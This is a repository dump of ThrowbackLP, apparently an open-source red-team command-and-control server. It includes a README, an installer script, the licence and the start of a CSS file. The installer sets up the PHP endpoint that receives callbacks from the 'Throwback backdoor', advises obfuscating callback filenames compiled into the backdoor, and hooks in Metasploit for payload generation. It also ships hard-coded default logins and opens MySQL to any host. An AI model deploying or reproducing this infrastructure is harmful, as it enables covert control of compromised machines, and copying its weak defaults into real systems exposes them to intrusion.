├── .gitattributes
├── .gitignore
├── LICENSE
├── README.md
├── ThrowbackInstaller.sh
├── cp
├── css
│ ├── bootstrap-editable.css
│ ├── bootstrap.min.css
│ ├── stylesheet.css
│ ├── theme1.css
│ └── theme2.css
├── deletetask.php
├── fonts
│ ├── glyphicons-halflings-regular.eot
│ ├── glyphicons-halflings-regular.svg
│ ├── glyphicons-halflings-regular.ttf
│ └── glyphicons-halflings-regular.woff
├── history.php
├── images
│ └── tb.jpg
├── includes
│ ├── conf.php
│ ├── header.inc.php
│ ├── links.php
│ ├── lock.php
│ ├── msfrpcd.php
│ ├── mysql.php
│ └── phpdebug.php
├── index.php
├── js
│ ├── bootstrap-editable.min.js
│ ├── bootstrap.min.js
│ ├── jquery.form.js
│ └── jquery.min.js
├── login.php
├── logout.php
├── maintenance.php
├── metcreator.php
├── radar.php
└── verify.php
├── index.php
├── msgrpcd.rc
└── throwbackcp.sql
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
4 | # Custom for Visual Studio
5 | *.cs diff=csharp
6 | *.sln merge=union
7 | *.csproj merge=union
8 | *.vbproj merge=union
9 | *.fsproj merge=union
10 | *.dbproj merge=union
11 |
12 | # Standard to msysgit
13 | *.doc diff=astextplain
14 | *.DOC diff=astextplain
15 | *.docx diff=astextplain
16 | *.DOCX diff=astextplain
17 | *.dot diff=astextplain
18 | *.DOT diff=astextplain
19 | *.pdf diff=astextplain
20 | *.PDF diff=astextplain
21 | *.rtf diff=astextplain
22 | *.RTF diff=astextplain
23 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Windows image file caches
2 | Thumbs.db
3 | ehthumbs.db
4 |
5 | # Folder config file
6 | Desktop.ini
7 |
8 | # Recycle Bin used on file shares
9 | $RECYCLE.BIN/
10 |
11 | # Windows Installer files
12 | *.cab
13 | *.msi
14 | *.msm
15 | *.msp
16 |
17 | # =========================
18 | # Operating System Files
19 | # =========================
20 |
21 | # OSX
22 | # =========================
23 |
24 | .DS_Store
25 | .AppleDouble
26 | .LSOverride
27 |
28 | # Icon must ends with two \r.
29 | Icon
30 |
31 | # Thumbnails
32 | ._*
33 |
34 | # Files that might appear on external disk
35 | .Spotlight-V100
36 | .Trashes
37 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 |
3 | Version 2, June 1991
4 |
5 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.
6 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
7 |
8 | Everyone is permitted to copy and distribute verbatim copies
9 | of this license document, but changing it is not allowed.
10 | Preamble
11 |
12 | The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too.
13 |
14 | When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
15 |
16 | To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
17 |
18 | For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
19 |
20 | We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
21 |
22 | Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
23 |
24 | Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
25 |
26 | The precise terms and conditions for copying, distribution and modification follow.
27 |
28 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
29 |
30 | 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
31 |
32 | Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
33 |
34 | 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
35 |
36 | You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
37 |
38 | 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
39 |
40 | a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
41 | b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
42 | c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
43 | These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
44 |
45 | Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
46 |
47 | In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
48 |
49 | 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
50 |
51 | a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
52 | b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
53 | c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
54 | The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
55 |
56 | If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
57 |
58 | 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
59 |
60 | 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
61 |
62 | 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
63 |
64 | 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
65 |
66 | If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
67 |
68 | It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
69 |
70 | This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
71 |
72 | 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
73 |
74 | 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
75 |
76 | Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.
77 |
78 | 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
79 |
80 | NO WARRANTY
81 |
82 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
83 |
84 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
85 |
86 | END OF TERMS AND CONDITIONS
87 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 0. Prepare the environment
2 | 1. apt-get install apache2 mysql-server php5 phpmyadmin curl libcurl3 php5-curl build-essential php-pear
3 | 1. Configure Apache to allow SSL connections.
4 | 1. wget http://librarian.launchpad.net/7477840/apache2-ssl.tar.gz
5 | 2. tar -zxvf apache2-ssl.tar.gz
6 | 3. mv ssleay.cnf /usr/share/apache2/ssleay.cnf
7 | 4. mkdir /etc/apache2/ssl
8 | 5. ./apache2-ssl-certificate -days 3650
9 | 6. a2enmod ssl
10 | 7. a2ensite default-ssl
11 | 2. Configure Throwback LP
12 | 1. Open PHPMyAdmin by going to http://NAME-OF-SITE/phpmyadmin
13 | 1. Log into the database
14 | 2. Click on the SQL icon in the upper left corner
15 | 3. Paste the contents of throwbackcp.sql. This will create an empty database instance.
16 | 2. Upload TB LP files to server
17 | 3. Modify cp/includes/conf.php if any default installation instructions have been modified.
18 | 4. Move index.php, res.php, and the cp folder to all the domains configured in /opt/web/
19 | 5. You can now access the Throwback LP server at https://NAME-OF-SITE/cp/index.php
20 | 6. The default username is root and the default password is Throwback!@#
21 | 3. Configure Metasploit for use with Throwback
22 | 1. Download and install Metasploit Framework
23 | 2. See ./cp/includes/msfrpcd.php for detailed instructions
24 | 4. Allow remote access to MySQL if necessary (if more than one LP)
25 | 1. vim /etc/mysql/my.cnf and change bind-address to 0.0.0.0
26 | 2. GRANT ALL ON throwbackcp.* TO tblp@'' IDENTIFIED BY 'ThrowbackPwnage!@#';
27 | 3. FLUSH PRIVILEGES;
28 |
--------------------------------------------------------------------------------
/ThrowbackInstaller.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | TBDIR=./ThrowbackLP
4 | SQLSCRIPT=throwbackcp.sql
5 | DBNAME=throwbackcp
6 | GITURL=https://github.com/silentbreaksec/ThrowbackLP.git
7 | DBUSER=tblp
8 | red=$'\e[1;31m'
9 | green=$'\e[1;32m'
10 | end=$'\e[0m'
11 |
12 | if [ "$EUID" -ne 0 ]; then
13 | echo "${red}[+] Needs to be run as root. Exiting...${end}"
14 | exit
15 | fi
16 |
17 | echo "${green}[+] Installing a few dependencies (Apache2, PHP 5, Git, etc.) for ThrowbackLP."
18 | echo "[+] This could take a while...${end}"
19 |
20 | apt-get update > /dev/null
21 | apt-get -y install zip ntp git apt-utils dialog apache2 php5 php5-mysql &> /dev/null
22 |
23 | while true; do
24 | read -p "${red}[+] Would you like to enable SSL? (y/n)${end} " yn
25 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then
26 | setupssl=true
27 | break
28 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then
29 | setupssl=false
30 | break
31 | fi
32 | done
33 |
34 | if [ "$setupssl" = true ] ; then
35 |
36 | a2enmod ssl > /dev/null
37 | a2ensite default-ssl > /dev/null
38 | mkdir -p /etc/apache2/ssl
39 |
40 | read -p "${red}[+] Would you like to use a self-signed cert? (y/n)${end} " yn
41 |
42 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then
43 |
44 | hn=`hostname`
45 | echo "${green}[+] Generating self-signed certificates.${end}"
46 | openssl req -x509 -nodes -days 365 -subj "/C=US/ST=MD/L=FtMeade/O=NSA/CN=www.'${hn}'.com" -newkey rsa:2048 -keyout /etc/apache2/ssl/ssl.key -out /etc/apache2/ssl/ssl.crt 2> /dev/null
47 |
48 | sed -i 's/SSLCertificateFile/#SSLCertificateFile/g' /etc/apache2/sites-available/default-ssl.conf
49 | sed -i 's/SSLCertificateKeyFile/#SSLCertificateKeyFile/g' /etc/apache2/sites-available/default-ssl.conf
50 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateKeyFile \/etc\/apache2\/ssl\/ssl.key/g' /etc/apache2/sites-available/default-ssl.conf
51 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateFile \/etc\/apache2\/ssl\/ssl.crt/g' /etc/apache2/sites-available/default-ssl.conf
52 |
53 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then
54 | echo "${red}[+] Be sure to copy your certs to the locations listed below."
55 | echo "\etc\apache2\ssl\sslchain.pem"
56 | echo "\etc\apache2\ssl\ssl.key"
57 | echo "\etc\apache2\ssl\ssl.crt${end}"
58 |
59 | sed -i 's/SSLCertificateFile/#SSLCertificateFile/g' /etc/apache2/sites-available/default-ssl.conf
60 | sed -i 's/SSLCertificateKeyFile/#SSLCertificateKeyFile/g' /etc/apache2/sites-available/default-ssl.conf
61 | sed -i 's/tSSLCertificateChainFile/#SSLCertificateChainFile/g' /etc/apache2/sites-available/default-ssl.conf
62 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateChainFile \/etc\/apache2\/ssl\/sslchain.pem/g' /etc/apache2/sites-available/default-ssl.conf
63 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateKeyFile \/etc\/apache2\/ssl\/ssl.key/g' /etc/apache2/sites-available/default-ssl.conf
64 | sed -i 's/SSLEngine on/SSLEngine on\n\t\tSSLCertificateFile \/etc\/apache2\/ssl\/ssl.crt/g' /etc/apache2/sites-available/default-ssl.conf
65 | fi
66 |
67 | echo "${green}[+] Restarting the Apache server.${end}"
68 | service apache2 restart &> /dev/null
69 | fi
70 |
71 | echo "${green}[+] Hardening the Apache web server.${end}"
72 | sed -i 's/Options Indexes/Options/g' /etc/apache2/sites-available/000-default.conf
73 | sed -i 's/Options Indexes/Options/g' /etc/apache2/sites-available/default-ssl.conf
74 | sed -i 's/Options Indexes/Options/g' /etc/apache2/apache2.conf
75 | sed -i 's/ServerTokens OS/ServerTokens Prod/g' /etc/apache2/conf-available/security.conf
76 | sed -i 's/ServerSignature On/ServerSignature Off/g' /etc/apache2/conf-available/security.conf
77 |
78 | update-rc.d apache2 defaults &> /dev/null
79 | update-rc.d apache2 enable &> /dev/null
80 |
81 | echo "${green}[+] Checking out ThrowbackLP from GitHub.${end}"
82 | cd /tmp/
83 | git clone $GITURL > /dev/null
84 |
85 | while true; do
86 | read -p "${red}[+] Enter the root WWW directory, or leave blank for the default. (i.e. /var/www/html)${end} " wwwrootdir
87 | if [ "${wwwrootdir}" == "" ]; then
88 | wwwrootdir=/var/www/html
89 | fi
90 | if [ -d "$wwwrootdir" ]; then
91 | break
92 | fi
93 | done
94 |
95 | echo "${green}[+] The Throwback backdoor calls back to a PHP file hosted on one or more ThrowbackLP servers. These PHP files are used for callback data (from the backdoor) and can have different filenames on the different ThrowbackLP servers. Make note of the filenames, use the mangle Python script to obfuscate them, and then compile them into the Throwback backdoor.${end}"
96 | read -p "${red}[+] What would you like to name the PHP file for the Throwback callback? (e.g. index.php)${end} " callbackfile
97 | if [ "${callbackfile}" == "" ]; then
98 | callbackfile=index.php
99 | fi
100 |
101 | echo "${green}[+] Fyi, this file is placed in ${wwwrootdir}.${end}"
102 |
103 | while true; do
104 | read -p "${red}[+] Is this server the primary ThrowbackLP? (y/n)${end} " yn
105 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then
106 |
107 | primarylp=true
108 | mkdir $wwwrootdir/cp
109 | mkdir $wwwrootdir/down
110 |
111 | while true; do
112 | read -p "${red}[+] Enter the MySQL root password. If you haven't installed MySQL, enter the password you'd like to use:${end} " mysqlpw1
113 | read -p "${red}[+] Please confirm:${end} " mysqlpw2
114 | if [ "${mysqlpw1}" == "${mysqlpw2}" ]; then
115 | break
116 | fi
117 | done
118 | break
119 |
120 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then
121 | primarylp=false
122 |
123 | while true; do
124 | read -p "${red}[+] Enter the IP address of the primary ThrowbackLP:${end} " tblp1
125 | read -p "${red}[+] Please confirm:${end} " tblp2
126 | if [ "${tblp1}" == "${tblp2}" ]; then
127 | break
128 | fi
129 | done
130 |
131 | while true; do
132 | read -p "${red}[+] Enter the password for the 'tblp' datbase user on the primary MySQL server:${end} " tblppw1
133 | read -p "${red}[+] Please confirm:${end} " tblppw2
134 | if [ "${tblppw1}" == "${tblppw2}" ]; then
135 | break
136 | fi
137 | done
138 |
139 | break
140 | fi
141 | done
142 |
143 | if [ "$primarylp" = true ] ; then
144 |
145 | echo "${green}[+] Installing MySQL server.${end}"
146 | apt-get --reinstall install bsdutils &> /dev/null
147 | debconf-set-selections <<< 'mysql-server mysql-server/root_password password '$mysqlpw1
148 | debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password '$mysqlpw1
149 | apt-get -y install mysql-server &> /dev/null
150 |
151 | echo "${green}[+] Installing SQL database and tables.${end}"
152 | mysql -u root -p$mysqlpw1 -e "create database "$DBNAME";"
153 | mysql -u root -p$mysqlpw1 $DBNAME < $TBDIR/$SQLSCRIPT
154 |
155 | echo '${green}[+] Generating random password for the ThrowbackLP database user.'
156 | echo "[+] Note that you'll need these credentials if connecting other ThrowbackLPs to this primary LP.${end}"
157 | tblppw=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 15`
158 | echo "${green}[+] For reference, the credentials are below."
159 | echo "Username: ${end}${red}tblp${end}"
160 | echo "${green}Password: ${end}${red}${tblppw}${end}"
161 |
162 | sed -i 's/public static \$host.*/public static \$host = "127.0.0.1";/g' $TBDIR/cp/includes/mysql.php
163 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw'";/g' $TBDIR/cp/includes/mysql.php
164 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/cp/includes/mysql.php
165 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/cp/includes/mysql.php
166 |
167 | sed -i 's/public static \$host.*/public static \$host = "127.0.0.1";/g' $TBDIR/index.php
168 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw'";/g' $TBDIR/index.php
169 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/index.php
170 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/index.php
171 |
172 | mysql -uroot -p$mysqlpw1 $DBNAME -e "GRANT ALL ON throwbackcp.* to tblp@localhost IDENTIFIED BY '${tblppw}'";
173 | mysql -uroot -p$mysqlpw1 $DBNAME -e "GRANT ALL ON throwbackcp.* to tblp@'%' IDENTIFIED BY '${tblppw}'";
174 | mysql -uroot -p$mysqlpw1 $DBNAME -e "FLUSH PRIVILEGES;"
175 |
176 | while true; do
177 | read -p "${red}[+] Would you like to create a user for the Throwback Control Panel? (y/n)${end} " yn
178 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then
179 | while true; do
180 | read -p "${red}[+] Enter the new username:${end} " user
181 | read -p "${red}[+] You entered ${user}. Is that correct? (y/n)${end} " yn1
182 | if [ "${yn1}" == 'y' ] || [ "${yn1}" == 'Y' ]; then
183 | break
184 | fi
185 | done
186 |
187 | while true; do
188 | read -p "${red}[+] Enter ${user}'s password:${end} " pass
189 | read -p "${red}[+] You entered ${pass}. Is that correct? (y/n)${end} " yn2
190 | if [ "${yn2}" == 'y' ] || [ "${yn2}" == 'Y' ]; then
191 | break
192 | fi
193 | done
194 |
195 | mysql -uroot -p$mysqlpw1 $DBNAME -e "INSERT INTO \`users\` (\`id\`, \`username\`, \`password\`, \`lastlogin\`) VALUES (0, '${user}', SHA1('${pass}'), '0');"
196 |
197 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then
198 | break
199 | fi
200 | done
201 |
202 | echo "${green}[+] Copying ThrowbackLP files to ${wwwrootdir}.${end}"
203 | echo "${green}[+] Fyi, these files are copied to ${wwwrootdir}/cp/.${end}"
204 |
205 | mv $TBDIR/index.php $wwwrootdir/$callbackfile
206 | cp -r $TBDIR/cp/* $wwwrootdir/cp/
207 |
208 | sed -i 's/bind-address.*/bind-address = 0.0.0.0/g' /etc/mysql/my.cnf
209 | service mysql restart &> /dev/null
210 |
211 | update-rc.d mysql defaults &> /dev/null
212 | update-rc.d mysql enable &> /dev/null
213 |
214 | else
215 |
216 | sed -i 's/public static \$password.*/public static \$password = "'$tblppw1'";/g' $TBDIR/index.php
217 | sed -i 's/public static \$host.*/public static \$host = "'$tblp1'";/g' $TBDIR/index.php
218 | sed -i 's/public static \$user.*/public static \$user = "'$DBUSER'";/g' $TBDIR/index.php
219 | sed -i 's/public static \$dbName.*/public static \$dbName = "'$DBNAME'";/g' $TBDIR/index.php
220 |
221 | echo "${green}[+] Copying ThrowbackLP files to ${wwwrootdir}.${end}"
222 | mv $TBDIR/index.php $wwwrootdir/$callbackfile
223 | echo "${green}[+] Success! We're done here.${end}"
224 | fi
225 |
226 | chmod -R 755 $wwwrootdir > /dev/null
227 | rm -rf $TBDIR
228 |
229 | msfpw=`head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10`
230 | echo load msgrpc Pass=${msfpw} > /root/msgrpc.rc
231 |
232 |
233 | if [ "$primarylp" = true ] ; then
234 | if [ "$setupssl" = true ] ; then
235 | echo "${green}[+] Success! Login to ThrowbackLP at https://[IP_OF_HOST]/cp/index.php ${end}"
236 | else
237 | echo "${green}[+] Success! Login to ThrowbackLP at http://[IP_OF_HOST]/cp/index.php ${end}"
238 | fi
239 | fi
240 |
241 |
242 | while true; do
243 | read -p "${red}[+] ThrowbackLP can also interface with Metasploit to create various payloads to perform interactive operations. Would you like to install Metasploit? This is experimental! (y/n)${end} " yn
244 | if [ "${yn}" == 'y' ] || [ "${yn}" == 'Y' ]; then
245 | installmsf=true
246 | break
247 | elif [ "${yn}" == "n" ] || [ "${yn}" == "N" ]; then
248 | installmsf=false
249 | break
250 | fi
251 | done
252 |
253 | if [ "$installmsf" == true ]; then
254 |
255 | echo "${red}[+] Ok, but don't say we didn't warn you!${end}"
256 |
257 | echo "${green}[+] Installing kernel headers.${end}"
258 | apt-get -y install gcc make linux-headers-$(uname -r) > /dev/null
259 | ln -s /usr/src/linux-headers-$(uname -r)/include/generated/uapi/linux/version.h /usr/src/linux-headers-$(uname -r)/include/linux/
260 |
261 | echo "${green}[+] Installing additional dependencies.${end}"
262 | apt-get -y install php5-dev php-pear build-essential > /dev/null
263 |
264 | echo "${green}[+] Installing and configuring MsgPack for PHP. ${end}${red}Watch for any errors!${end}"
265 | #pecl install channel://pecl.php.net/msgpack-0.5.5
266 | wget --quiet https://pecl.php.net/get/msgpack-0.5.7.tgz > /dev/null
267 | tar -zxvf msgpack-0.5.7.tgz > /dev/null
268 | cd msgpack-0.5.7 > /dev/null
269 | phpize > /dev/null
270 | ./configure > /dev/null
271 | make && make install > /dev/null
272 | cd .. > /dev/null
273 | rm -rf msgpack-0.5.7 > /dev/null
274 |
275 | echo "extension=msgpack.so" >> /etc/php5/apache2/php.ini
276 |
277 | echo "${green}[+] Installing the last few dependencies.${end}"
278 | apt-get -y install curl libcurl3 libcurl3-dev php5-curl &> /dev/null
279 |
280 | machinetype=`uname -m`
281 | cd /tmp/
282 |
283 | if [ ${machinetype} == 'x86_64' ]; then
284 | echo "${green}[+] Downloading the x64 version of Metasploit. This may take a while.${end}"
285 | wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run > /dev/null
286 | else
287 | echo "${green}[+] Downloading the x86 version of Metasploit. This may take a while.${end}"
288 | wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run > /dev/null
289 | fi
290 |
291 | echo "${green}[+] Download complete! Starting the Metasploit installer.${end}"
292 |
293 | chmod +x /tmp/metasploit-latest-linux*.run
294 | /tmp/metasploit-latest-linux*.run
295 |
296 | echo "${red}[+] Don't forget to register Metasploit! Go to https://localhost:3790 to create a user account and obtain/activate a license key.${end}"
297 |
298 | echo "${green}[+] Configuring ThrowbackLP for Metasploit.${end}"
299 | sed -i 's/\$MSFPASSWORD.*/\$MSFPASSWORD = "'$msfpw'";/g' $wwwrootdir/cp/includes/conf.php
300 | sed -i 's/\$METASPLOIT.*/\$METASPLOIT = "127.0.0.1";/g' $wwwrootdir/cp/includes/conf.php
301 | sed -i 's/\$MSFUSERNAME.*/\$MSFUSERNAME = "msf";/g' $wwwrootdir/cp/includes/conf.php
302 |
303 | echo "${green}[+] Start Metasploit via 'msfconsole -r /root/msgrpc.rc', and you **should** be able to generate payload in the ThrowbackLP interface.${end}"
304 | echo "${green}[+] It's also a good idea to create the Metasploit console in a screen session.${end}"
305 | service apache2 restart &> /dev/null
306 | fi
307 |
308 | echo "${green}[+] All done. Thanks for playing!${end}"
309 |
--------------------------------------------------------------------------------
/cp/css/bootstrap-editable.css:
--------------------------------------------------------------------------------
1 | /*! X-editable - v1.5.0
2 | * In-place editing with Twitter Bootstrap, jQuery UI or pure jQuery
3 | * http://github.com/vitalets/x-editable
4 | * Copyright (c) 2013 Vitaliy Potapov; Licensed MIT */
5 | .editableform {
6 | margin-bottom: 0; /* overwrites bootstrap margin */
7 | }
8 |
9 | .editableform .control-group {
10 | margin-bottom: 0; /* overwrites bootstrap margin */
11 | white-space: nowrap; /* prevent wrapping buttons on new line */
12 | line-height: 20px; /* overwriting bootstrap line-height. See #133 */
13 | }
14 |
15 | .editable-buttons {
16 | display: inline-block; /* should be inline to take effect of parent's white-space: nowrap */
17 | vertical-align: top;
18 | margin-left: 7px;
19 | /* inline-block emulation for IE7*/
20 | zoom: 1;
21 | *display: inline;
22 | }
23 |
24 | .editable-buttons.editable-buttons-bottom {
25 | display: block;
26 | margin-top: 7px;
27 | margin-left: 0;
28 | }
29 |
30 | .editable-input {
31 | vertical-align: top;
32 | display: inline-block; /* should be inline to take effect of parent's white-space: nowrap */
33 | width: auto; /* bootstrap-responsive has width: 100% that breakes layout */
